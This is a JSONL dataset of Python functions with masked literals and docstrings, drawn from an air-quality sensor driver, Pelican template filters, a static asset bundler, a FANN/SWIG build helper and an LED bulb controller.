{"signature": "@requires_firmware(<NUM_LIT>)<EOL><INDENT>def pm(self):<DEDENT>", "body": "resp = []<EOL>data = {}<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT:12>):<EOL><INDENT>r = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>resp.append(r)<EOL><DEDENT>data['<STR_LIT>']     = self._calculate_float(resp[<NUM_LIT:0>:<NUM_LIT:4>])<EOL>data['<STR_LIT>']   = self._calculate_float(resp[<NUM_LIT:4>:<NUM_LIT:8>])<EOL>data['<STR_LIT>']    = self._calculate_float(resp[<NUM_LIT:8>:])<EOL>sleep(<NUM_LIT:0.1>)<EOL>return data<EOL>", "docstring": "Read the PM data and reset the histogram\n\n        **NOTE: This method is supported by firmware v18+.**\n\n        :rtype: dictionary\n\n        :Example:\n\n        >>> alpha.pm()\n        {\n            'PM1': 0.12,\n            'PM2.5': 0.24,\n            'PM10': 1.42\n        }", "id": "f4940:c1:m18"}
{"signature": "def on(self):", "body": "b1 = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]          <EOL>sleep(<NUM_LIT>)                             <EOL>return True if b1 == <NUM_LIT> else False<EOL>", "docstring": "Turn ON the OPC (fan and laser)\n\n        :returns: boolean success state", "id": "f4940:c2:m1"}
{"signature": "def off(self):", "body": "b1 = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]          <EOL>sleep(<NUM_LIT>)                             <EOL>return True if b1 == <NUM_LIT> else False<EOL>", "docstring": "Turn OFF the OPC (fan and laser)\n\n        :returns: boolean success state", "id": "f4940:c2:m2"}
{"signature": "def read_gsc_sfr(self):", "body": "config  = []<EOL>data    = {}<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT:8>):<EOL><INDENT>resp = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>config.append(resp)<EOL><DEDENT>data[\"<STR_LIT>\"] = self._calculate_float(config[<NUM_LIT:0>:<NUM_LIT:4>])<EOL>data[\"<STR_LIT>\"] = self._calculate_float(config[<NUM_LIT:4>:])<EOL>return data<EOL>", "docstring": "Read the gain-scaling-coefficient and sample flow rate.\n\n        :returns: dictionary containing GSC and SFR", "id": "f4940:c2:m3"}
{"signature": "def read_bin_boundaries(self):", "body": "config  = []<EOL>data    = {}<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT:30>):<EOL><INDENT>resp = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>config.append(resp)<EOL><DEDENT>for i in range(<NUM_LIT:0>, <NUM_LIT>):<EOL><INDENT>data[\"<STR_LIT>\".format(i)] = self._16bit_unsigned(config[<NUM_LIT:2>*i], config[<NUM_LIT:2>*i + <NUM_LIT:1>])<EOL><DEDENT>return data<EOL>", "docstring": "Return the bin boundaries.\n\n        :returns: dictionary with 17 bin boundaries.", "id": "f4940:c2:m4"}
{"signature": "def write_gsc_sfr(self):", "body": "return<EOL>", "docstring": "Write the gsc and sfr values\n\n        **NOTE**: This method is currently a placeholder.", "id": "f4940:c2:m5"}
{"signature": "def read_bin_particle_density(self):", "body": "config = []<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT:4>):<EOL><INDENT>resp = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>config.append(resp)<EOL><DEDENT>bpd = self._calculate_float(config)<EOL>return bpd<EOL>", "docstring": "Read the bin particle density\n\n        :returns: float", "id": "f4940:c2:m6"}
{"signature": "def write_bin_particle_density(self):", "body": "return<EOL>", "docstring": "Write the bin particle density values to memory. This method is currently a\n        placeholder.\n\n        :returns: None", "id": "f4940:c2:m7"}
{"signature": "def read_histogram(self):", "body": "resp = []<EOL>data = {}<EOL>command = <NUM_LIT><EOL>self.cnxn.xfer([command])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT>):<EOL><INDENT>r = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>resp.append(r)<EOL><DEDENT>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:0>], resp[<NUM_LIT:1>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:2>], resp[<NUM_LIT:3>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:4>], resp[<NUM_LIT:5>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:6>], resp[<NUM_LIT:7>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:8>], resp[<NUM_LIT:9>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:10>], resp[<NUM_LIT:11>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:12>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT:15>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:16>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT:20>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT:30>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']       = self._calculate_mtof(resp[<NUM_LIT:32>])<EOL>data['<STR_LIT>']       = self._calculate_mtof(resp[<NUM_LIT>])<EOL>data['<STR_LIT>']       = self._calculate_mtof(resp[<NUM_LIT>])<EOL>data['<STR_LIT>']       = self._calculate_mtof(resp[<NUM_LIT>])<EOL>data['<STR_LIT>']     = self._calculate_temp(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>']        = self._calculate_pressure(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>'] = self._calculate_period(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>']        = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']             = self._calculate_float(resp[<NUM_LIT:50>:<NUM_LIT>])<EOL>data['<STR_LIT>']           = self._calculate_float(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>']            = self._calculate_float(resp[<NUM_LIT>:])<EOL>histogram_sum = data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>']   +data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>']   +data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>']  +data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>'] +data['<STR_LIT>']<EOL>return data<EOL>", "docstring": "Read and reset the histogram. The expected return is a dictionary\n        containing the counts per bin, MToF for bins 1, 3, 5, and 7, temperature,\n        pressure, the sampling period, the checksum, PM1, PM2.5, and PM10.\n\n        **NOTE:** The sampling period for the OPCN1 seems to be incorrect.\n\n        :returns: dictionary", "id": "f4940:c2:m8"}
{"signature": "def datetime(value, format_str='<STR_LIT>'):", "body": "return value.strftime(format_str)<EOL>", "docstring": "Convert a datetime to a different format.\n\nThe default format looks like --> 2016/11/25 12:34\n\nArgs:\n    value (datetime.datetime): input date and time\n    format_str (str): The datetime format string to apply to value\n\nReturns:\n    str: value, after the format_str has been applied", "id": "f4945:m0"}
{"signature": "def article_date(value):", "body": "return value.strftime('<STR_LIT>')<EOL>", "docstring": "Convert a date to the format we want it displayed on the article template.\n\nFormat looks like --> Friday, November 4, 2016\n\nArgs:\n    value (datetime.datetime): input date\n\nReturns:\n    str: value, formatted nicely for displaying the date.", "id": "f4945:m1"}
{"signature": "def breaking_spaces(value):", "body": "return value.replace('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>", "docstring": "Convert non-breaking spaces to regular spaces.\n\nArgs:\n    value (str): input value\n\nReturns:\n    str: the input string, now with regular spaces", "id": "f4945:m2"}
{"signature": "def titlecase(value):", "body": "return _titlecase(value)<EOL>", "docstring": "Returns the titlecased version of the supplied text.\n\n    Args:\n        value (str): input value\n\n    Returns:\n        str: value, titlecase formatted", "id": "f4945:m3"}
{"signature": "def add_all_filters(pelican):", "body": "pelican.env.filters.update({'<STR_LIT>': filters.datetime})<EOL>pelican.env.filters.update({'<STR_LIT>': filters.article_date})<EOL>pelican.env.filters.update({'<STR_LIT>': filters.breaking_spaces})<EOL>pelican.env.filters.update({'<STR_LIT>': filters.titlecase})<EOL>", "docstring": "Add (register) all filters to Pelican.", "id": "f4946:m0"}
{"signature": "def register():", "body": "signals.generator_init.connect(add_all_filters)<EOL>", "docstring": "Plugin registration.", "id": "f4946:m1"}
{"signature": "def find_meta(*meta_file_parts, meta_key):", "body": "meta_file = read(*meta_file_parts)<EOL>meta_match = re.search(r\"<STR_LIT>\".format(meta_key),<EOL>meta_file, re.M)<EOL>if meta_match:<EOL><INDENT>return meta_match.group(<NUM_LIT:1>)<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\".format(meta_key))<EOL>", "docstring": "Extract __*meta*__ from meta_file.", "id": "f4950:m1"}
{"signature": "@property<EOL><INDENT>def path(self):<DEDENT>", "body": "assert self.abs_path and self.abs_bundle_path, \"<STR_LIT>\"<EOL>return self.abs_bundle_path<EOL>", "docstring": "Check if absolute path is not resolved yet", "id": "f4954:c0:m1"}
{"signature": "def init_build(self, asset, builder):", "body": "if not self.abs_path:<EOL><INDENT>rel_path = utils.prepare_path(self.rel_bundle_path)<EOL>self.abs_bundle_path = utils.prepare_path([builder.config.input_dir, rel_path])<EOL>self.abs_path = True<EOL><DEDENT>self.input_dir = builder.config.input_dir<EOL>", "docstring": "Called when builder group collect files\nResolves absolute url if relative passed\n\n:type asset: static_bundle.builders.Asset\n:type builder: static_bundle.builders.StandardBuilder", "id": "f4954:c0:m2"}
{"signature": "def add_file(self, *args):", "body": "for file_path in args:<EOL><INDENT>self.files.append(FilePath(file_path, self))<EOL><DEDENT>", "docstring": "Add single file or list of files to bundle\n\n:type: file_path: str|unicode", "id": "f4954:c0:m3"}
{"signature": "def add_directory(self, *args, **kwargs):", "body": "exc = kwargs.get('<STR_LIT>', None)<EOL>for path in args:<EOL><INDENT>self.files.append(DirectoryPath(path, self, exclusions=exc))<EOL><DEDENT>", "docstring": "Add directory or directories list to bundle\n\n:param exclusions: List of excluded paths\n\n:type path: str|unicode\n:type exclusions: list", "id": "f4954:c0:m4"}
{"signature": "def add_path_object(self, *args):", "body": "for obj in args:<EOL><INDENT>obj.bundle = self<EOL>self.files.append(obj)<EOL><DEDENT>", "docstring": "Add custom path objects\n\n:type: path_object: static_bundle.paths.AbstractPath", "id": "f4954:c0:m5"}
{"signature": "def add_prepare_handler(self, prepare_handlers):", "body": "if not isinstance(prepare_handlers, static_bundle.BUNDLE_ITERABLE_TYPES):<EOL><INDENT>prepare_handlers = [prepare_handlers]<EOL><DEDENT>if self.prepare_handlers_chain is None:<EOL><INDENT>self.prepare_handlers_chain = []<EOL><DEDENT>for handler in prepare_handlers:<EOL><INDENT>self.prepare_handlers_chain.append(handler)<EOL><DEDENT>", "docstring": "Add prepare handler to bundle\n\n:type: prepare_handler: static_bundle.handlers.AbstractPrepareHandler", "id": "f4954:c0:m6"}
{"signature": "def prepare(self):", "body": "result_files = self.collect_files()<EOL>chain = self.prepare_handlers_chain<EOL>if chain is None:<EOL><INDENT>chain = [<EOL>LessCompilerPrepareHandler()<EOL>]<EOL><DEDENT>for prepare_handler in chain:<EOL><INDENT>result_files = prepare_handler.prepare(result_files, self)<EOL><DEDENT>return result_files<EOL>", "docstring": "Called when builder run collect files in builder group\n\n:rtype: list[static_bundle.files.StaticFileResult]", "id": "f4954:c0:m7"}
{"signature": "def render_include(self):", "body": "return '<STR_LIT>'<EOL>", "docstring": "Render file include in template", "id": "f4956:c0:m1"}
{"signature": "def add_bundle(self, *args):", "body": "for bundle in args:<EOL><INDENT>if not self.multitype and self.has_bundles():<EOL><INDENT>first_bundle = self.get_first_bundle()<EOL>if first_bundle.get_type() != bundle.get_type():<EOL><INDENT>raise Exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (self.name, first_bundle.get_type(), bundle.get_type())<EOL>)<EOL><DEDENT><DEDENT>self.bundles.append(bundle)<EOL><DEDENT>return self<EOL>", "docstring": "Add some bundle to build group\n\n:type bundle: static_bundle.bundles.AbstractBundle\n@rtype: BuildGroup", "id": "f4957:c0:m1"}
{"signature": "def collect_files(self):", "body": "self.files = []<EOL>for bundle in self.bundles:<EOL><INDENT>bundle.init_build(self, self.builder)<EOL>bundle_files = bundle.prepare()<EOL>self.files.extend(bundle_files)<EOL><DEDENT>return self<EOL>", "docstring": "Return collected files links\n\n:rtype: list[static_bundle.files.StaticFileResult]", "id": "f4957:c0:m2"}
{"signature": "def get_minifier(self):", "body": "if self.minifier is None:<EOL><INDENT>if not self.has_bundles():<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>minifier = self.get_first_bundle().get_default_minifier()<EOL><DEDENT>else:<EOL><INDENT>minifier = self.minifier<EOL><DEDENT>if minifier:<EOL><INDENT>minifier.init_asset(self)<EOL><DEDENT>return minifier<EOL>", "docstring": "Asset minifier\nUses default minifier in bundle if it's not defined\n\n:rtype: static_bundle.minifiers.DefaultMinifier|None", "id": "f4957:c0:m3"}
{"signature": "def create_asset(self, name, **kwargs):", "body": "asset = Asset(self, name, **kwargs)<EOL>self.assets[name] = asset<EOL>return asset<EOL>", "docstring": "Create asset\n\n:type name: unicode|str\n:rtype: Asset", "id": "f4957:c1:m1"}
{"signature": "def remove_asset(self, name):", "body": "if name in self.assets:<EOL><INDENT>del self.assets[name]<EOL><DEDENT>", "docstring": "Remove asset by name\n\n:type name: unicode|str", "id": "f4957:c1:m2"}
{"signature": "def get_asset(self, name):", "body": "assert self.has_asset(name), \"<STR_LIT>\"<EOL>return self.assets[name]<EOL>", "docstring": "Get asset by name\n\n:type name: unicode|str", "id": "f4957:c1:m3"}
{"signature": "def has_asset(self, name):", "body": "return name in self.assets<EOL>", "docstring": "Check asset exists by name\n\n:type name: unicode|str", "id": "f4957:c1:m4"}
{"signature": "def render_asset(self, name):", "body": "result = \"<STR_LIT>\"<EOL>if self.has_asset(name):<EOL><INDENT>asset = self.get_asset(name)<EOL>if asset.files:<EOL><INDENT>for f in asset.files:<EOL><INDENT>result += f.render_include() + \"<STR_LIT:\\r\\n>\"<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Render all includes in asset by names\n\n:type name: str|unicode\n:rtype: str|unicode", "id": "f4957:c1:m5"}
{"signature": "def render_include_group(self, name):", "body": "return self.render_asset(name)<EOL>", "docstring": "Alias for render_asset method", "id": "f4957:c1:m6"}
{"signature": "def collect_links(self, env=None):", "body": "for asset in self.assets.values():<EOL><INDENT>if asset.has_bundles():<EOL><INDENT>asset.collect_files()<EOL><DEDENT><DEDENT>if env is None:<EOL><INDENT>env = self.config.env<EOL><DEDENT>if env == static_bundle.ENV_PRODUCTION:<EOL><INDENT>self._minify(emulate=True)<EOL><DEDENT>self._add_url_prefix()<EOL>", "docstring": "Return links without build files", "id": "f4957:c1:m7"}
{"signature": "def make_build(self):", "body": "for asset in self.assets.values():<EOL><INDENT>if asset.has_bundles():<EOL><INDENT>asset.collect_files()<EOL><DEDENT><DEDENT>if not os.path.exists(self.config.output_dir):<EOL><INDENT>os.makedirs(self.config.output_dir)<EOL><DEDENT>if self.config.copy_only_bundles:<EOL><INDENT>for asset in self.assets.values():<EOL><INDENT>if not asset.minify and asset.files:<EOL><INDENT>for f in asset.files:<EOL><INDENT>copy_file(f.abs_path, self._get_output_path(f.abs_path))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>copy_excludes = {}<EOL>for asset in self.assets.values():<EOL><INDENT>if asset.minify and asset.files:<EOL><INDENT>for f in asset.files:<EOL><INDENT>copy_excludes[f.abs_path] = f<EOL><DEDENT><DEDENT><DEDENT>for root, dirs, files in os.walk(self.config.input_dir):<EOL><INDENT>for fpath in files:<EOL><INDENT>current_file_path = os.path.join(root, fpath)<EOL>if current_file_path not in copy_excludes:<EOL><INDENT>copy_file(current_file_path, self._get_output_path(current_file_path))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self._minify()<EOL>", "docstring": "Move files / make static build", "id": "f4957:c1:m8"}
{"signature": "def clear(self, exclude=None):", "body": "exclude = exclude or []<EOL>for root, dirs, files in os.walk(self.config.output_dir):<EOL><INDENT>for f in files:<EOL><INDENT>if f not in exclude:<EOL><INDENT>os.unlink(os.path.join(root, f))<EOL><DEDENT><DEDENT>for d in dirs:<EOL><INDENT>if d not in exclude:<EOL><INDENT>shutil.rmtree(os.path.join(root, d))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Clear build output dir\n:type exclude: list|None", "id": "f4957:c1:m9"}
{"signature": "def get_files(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Collect used files\nReturn list with one element for single file\nand list with all files for directory path\n\n:rtype: list", "id": "f4958:c0:m0"}
{"signature": "def get_abs_and_rel_paths(self, root_path, file_name, input_dir):", "body": "<EOL>relative_dir = root_path.replace(input_dir, '<STR_LIT>')<EOL>return os.path.join(root_path, file_name), relative_dir + '<STR_LIT:/>' + file_name<EOL>", "docstring": "Return absolute and relative path for file\n\n:type root_path: str|unicode\n:type file_name: str|unicode\n:type input_dir: str|unicode\n:rtype: tuple", "id": "f4958:c0:m1"}
{"signature": "def __init__(self, file_path, bundle=None):", "body": "self.file_path = prepare_path(file_path)<EOL>self.bundle = bundle<EOL>", "docstring": ":type file_path: str|unicode\n:type bundle: static_bundle.bundles.AbstractBundle", "id": "f4958:c1:m0"}
{"signature": "def get_files(self):", "body": "assert self.bundle, '<STR_LIT>'<EOL>abs_path, rel_path = self.get_abs_and_rel_paths(self.bundle.path, self.file_path, self.bundle.input_dir)<EOL>file_cls = self.bundle.get_file_cls()<EOL>return [file_cls(rel_path, abs_path)]<EOL>", "docstring": ":inheritdoc", "id": "f4958:c1:m1"}
{"signature": "def get_files(self):", "body": "assert self.bundle, '<STR_LIT>'<EOL>result_files = []<EOL>bundle_ext = self.bundle.get_extension()<EOL>ext = \"<STR_LIT:.>\" + bundle_ext if bundle_ext else None<EOL>if self.directory_path == \"<STR_LIT>\":<EOL><INDENT>root_path = self.bundle.path<EOL><DEDENT>else:<EOL><INDENT>root_path = os.path.join(self.bundle.path, self.directory_path)<EOL><DEDENT>for root, dirs, files in os.walk(root_path):<EOL><INDENT>for fpath in files:<EOL><INDENT>if (not ext or fpath.endswith(ext)) and (not self.exclusions or all(fpath != n for n in self.exclusions)):<EOL><INDENT>abs_path, rel_path = self.get_abs_and_rel_paths(root, fpath, self.bundle.input_dir)<EOL>file_cls = self.bundle.get_file_cls()<EOL>result_files.append(file_cls(rel_path, abs_path))<EOL><DEDENT><DEDENT><DEDENT>return result_files<EOL>", "docstring": ":inheritdoc", "id": "f4958:c2:m1"}
{"signature": "def prepare(self, input_files, bundle):", "body": "raise NotImplementedError<EOL>", "docstring": ":type input_files: list[static_bundle.files.StaticFileResult]\n:type bundle: list[static_bundle.bundles.AbstractBundle]\n:rtype: list", "id": "f4960:c0:m0"}
{"signature": "def prepare(self, input_files, bundle):", "body": "out = []<EOL>for input_file in input_files:<EOL><INDENT>if input_file.extension == \"<STR_LIT>\" and os.path.isfile(input_file.abs_path):<EOL><INDENT>output_file = self.get_compile_file(input_file, bundle)<EOL>self.compile(input_file, output_file)<EOL>out.append(output_file)<EOL><DEDENT>else:<EOL><INDENT>out.append(input_file)<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": ":type input_files: list[static_bundle.files.StaticFileResult]\n:type bundle: static_bundle.bundles.AbstractBundle\n:rtype: list", "id": "f4960:c1:m1"}
{"signature": "def prepare_path(path):", "body": "if type(path) == list:<EOL><INDENT>return os.path.join(*path)<EOL><DEDENT>return path<EOL>", "docstring": "Path join helper method\nJoin paths if list passed\n\n:type path: str|unicode|list\n:rtype: str|unicode", "id": "f4961:m0"}
{"signature": "def read_from_file(file_path, encoding=\"<STR_LIT:utf-8>\"):", "body": "with codecs.open(file_path, \"<STR_LIT:r>\", encoding) as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Read helper method\n\n:type file_path: str|unicode\n:type encoding: str|unicode\n:rtype: str|unicode", "id": "f4961:m1"}
{"signature": "def write_to_file(file_path, contents, encoding=\"<STR_LIT:utf-8>\"):", "body": "with codecs.open(file_path, \"<STR_LIT:w>\", encoding) as f:<EOL><INDENT>f.write(contents)<EOL><DEDENT>", "docstring": "Write helper method\n\n:type file_path: str|unicode\n:type contents: str|unicode\n:type encoding: str|unicode", "id": "f4961:m2"}
{"signature": "def copy_file(src, dest):", "body": "dir_path = os.path.dirname(dest)<EOL>if not os.path.exists(dir_path):<EOL><INDENT>os.makedirs(dir_path)<EOL><DEDENT>shutil.copy2(src, dest)<EOL>", "docstring": "Copy file helper method\n\n:type src: str|unicode\n:type dest: str|unicode", "id": "f4961:m3"}
{"signature": "def get_path_extension(path):", "body": "file_path, file_ext = os.path.splitext(path)<EOL>return file_ext.lstrip('<STR_LIT:.>')<EOL>", "docstring": "Split file name and extension\n\n:type path: str|unicode\n:rtype: one str|unicode", "id": "f4961:m4"}
{"signature": "def split_path(path):", "body": "result_parts = []<EOL>while path != \"<STR_LIT:/>\":<EOL><INDENT>parts = os.path.split(path)<EOL>if parts[<NUM_LIT:1>] == path:<EOL><INDENT>result_parts.insert(<NUM_LIT:0>, parts[<NUM_LIT:1>])<EOL>break<EOL><DEDENT>elif parts[<NUM_LIT:0>] == path:<EOL><INDENT>result_parts.insert(<NUM_LIT:0>, parts[<NUM_LIT:0>])<EOL>break<EOL><DEDENT>else:<EOL><INDENT>path = parts[<NUM_LIT:0>]<EOL>result_parts.insert(<NUM_LIT:0>, parts[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>return result_parts<EOL>", "docstring": "Helper method for absolute and relative paths resolution\nSplit passed path and return each directory parts\n\nexample: \"/usr/share/dir\"\nreturn: [\"usr\", \"share\", \"dir\"]\n\n@type path: one of (unicode, str)\n@rtype: list", "id": "f4961:m5"}
{"signature": "def init_asset(self, asset):", "body": "self.asset = asset<EOL>", "docstring": "Called before build\n\n:type asset: static_bundle.builders.Asset", "id": "f4962:c0:m1"}
{"signature": "def before(self):", "body": "return u'<STR_LIT>'<EOL>", "docstring": "Called before minify\nReturned text will be prepend on head\n\n:rtype: unicode", "id": "f4962:c0:m2"}
{"signature": "def contents(self, f, text):", "body": "text += self._read(f.abs_path) + \"<STR_LIT:\\r\\n>\"<EOL>return text<EOL>", "docstring": "Called for each file\nMust return file content\nCan be wrapped\n\n:type f: static_bundle.files.StaticFileResult\n:type text: str|unicode\n:rtype: str|unicode", "id": "f4962:c0:m3"}
{"signature": "def after(self, text):", "body": "return text<EOL>", "docstring": "@type text: str|unicode\n@rtype: str|unicode", "id": "f4962:c0:m4"}
{"signature": "def find_executable(executable, path=None):", "body": "if path is None:<EOL><INDENT>path = os.environ['<STR_LIT>']<EOL><DEDENT>paths = path.split(os.pathsep)<EOL>extlist = ['<STR_LIT>']<EOL>if os.name == '<STR_LIT>':<EOL><INDENT>ext = os.path.splitext(executable)<EOL>if not ext:<EOL><INDENT>executable = executable + \"<STR_LIT>\"<EOL><DEDENT><DEDENT>elif sys.platform == '<STR_LIT:win32>':<EOL><INDENT>pathext = os.environ['<STR_LIT>'].lower().split(os.pathsep)<EOL>ext = os.path.splitext(executable)<EOL>if ext not in pathext:<EOL><INDENT>extlist = pathext<EOL><DEDENT><DEDENT>for ext in extlist:<EOL><INDENT>execname = executable + ext<EOL>if os.path.isfile(execname):<EOL><INDENT>return execname<EOL><DEDENT>else:<EOL><INDENT>for pth in paths:<EOL><INDENT>fil = os.path.join(pth, execname)<EOL>if os.path.isfile(fil):<EOL><INDENT>return fil<EOL><DEDENT><DEDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Try to find 'executable' in the directories listed in 'path' (a\n    string listing directories separated by 'os.pathsep'; defaults to\n    os.environ['PATH']).", "id": "f4967:m0"}
{"signature": "def find_x(path1):", "body": "libs = os.listdir(path1)<EOL>for lib_dir in libs:<EOL><INDENT>if \"<STR_LIT>\" in lib_dir:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>", "docstring": "Return true if substring is in string for files\n    in specified path", "id": "f4967:m1"}
{"signature": "def find_fann():", "body": "<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>dirs = sys.path<EOL>for ver in dirs:<EOL><INDENT>if os.path.isdir(ver):<EOL><INDENT>if find_x(ver):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>dirs = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for path in dirs:<EOL><INDENT>if os.path.isdir(path):<EOL><INDENT>if find_x(path):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Find doublefann library", "id": "f4967:m2"}
{"signature": "def find_swig():", "body": "for executable in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>if find_executable(executable):<EOL><INDENT>return executable<EOL><DEDENT><DEDENT>raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Find SWIG executable path", "id": "f4967:m3"}
{"signature": "def build_swig():", "body": "print(\"<STR_LIT>\")<EOL>find_fann()<EOL>print(\"<STR_LIT>\")<EOL>swig_bin = find_swig()<EOL>swig_cmd = [swig_bin, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>subprocess.Popen(swig_cmd).wait()<EOL>", "docstring": "Run SWIG with specified parameters", "id": "f4967:m4"}
{"signature": "def brightness(level=<NUM_LIT:100>, group=<NUM_LIT:0>):", "body": "if level not in range(<NUM_LIT:0>,<NUM_LIT>):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>b = int(floor(level / <NUM_LIT>)) <EOL>commands = list(darkest(group))<EOL>for i in range(<NUM_LIT:0>, b):<EOL><INDENT>commands.append(COMMANDS['<STR_LIT>'])<EOL><DEDENT>return tuple(commands)<EOL>", "docstring": "Assumes level is out of 100", "id": "f4969:m4"}
{"signature": "def color_from_hls(hue, light, sat):", "body": "if light > <NUM_LIT>: <EOL><INDENT>return <NUM_LIT><EOL><DEDENT>elif light < <NUM_LIT>: <EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>hue = (-hue + <NUM_LIT:1> + <NUM_LIT>/<NUM_LIT>) % <NUM_LIT:1> <EOL>return int(floor(hue * <NUM_LIT>))<EOL><DEDENT>", "docstring": "Takes a hls color and converts to proper hue \n        Bulbs use a BGR order instead of RGB", "id": "f4970:m0"}
{"signature": "def color_from_rgb(red, green, blue):", "body": "r = min(red, <NUM_LIT:255>)<EOL>g = min(green, <NUM_LIT:255>)<EOL>b = min(blue, <NUM_LIT:255>)<EOL>if r > <NUM_LIT:1> or g > <NUM_LIT:1> or b > <NUM_LIT:1>:<EOL><INDENT>r = r / <NUM_LIT><EOL>g = g / <NUM_LIT><EOL>b = b / <NUM_LIT><EOL><DEDENT>return color_from_hls(*rgb_to_hls(r,g,b))<EOL>", "docstring": "Takes your standard rgb color \n        and converts it to a proper hue value", "id": "f4970:m1"}
{"signature": "def color_from_hex(value):", "body": "if \"<STR_LIT:#>\" in value:<EOL><INDENT>value = value[<NUM_LIT:1>:]<EOL><DEDENT>try:<EOL><INDENT>unhexed = bytes.fromhex(value)<EOL><DEDENT>except:<EOL><INDENT>unhexed = binascii.unhexlify(value) <EOL><DEDENT>return color_from_rgb(*struct.unpack('<STR_LIT>',unhexed))<EOL>", "docstring": "Takes an HTML hex code\n        and converts it to a proper hue value", "id": "f4970:m2"}
{"signature": "def wait(self, sec=<NUM_LIT:0.1>):", "body": "sec = max(sec, <NUM_LIT:0>)<EOL>reps = int(floor(sec / <NUM_LIT:0.1>))<EOL>commands = []<EOL>for i in range(<NUM_LIT:0>, reps):<EOL><INDENT>commands.append(Command(<NUM_LIT>, wait=True))<EOL><DEDENT>return tuple(commands)<EOL>", "docstring": "Wait for x seconds\n            each wait command is 100ms", "id": "f4970:c2:m17"}
{"signature": "def brightness(level=<NUM_LIT:100>, group=<NUM_LIT:0>):", "body": "if level not in range(<NUM_LIT:0>,<NUM_LIT>):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>b = int(floor(level / <NUM_LIT>) + <NUM_LIT:2>) <EOL>return (COMMANDS['<STR_LIT>'][group], Command(<NUM_LIT>, b))<EOL>", "docstring": "Assumes level is out of 100", "id": "f4971:m2"}
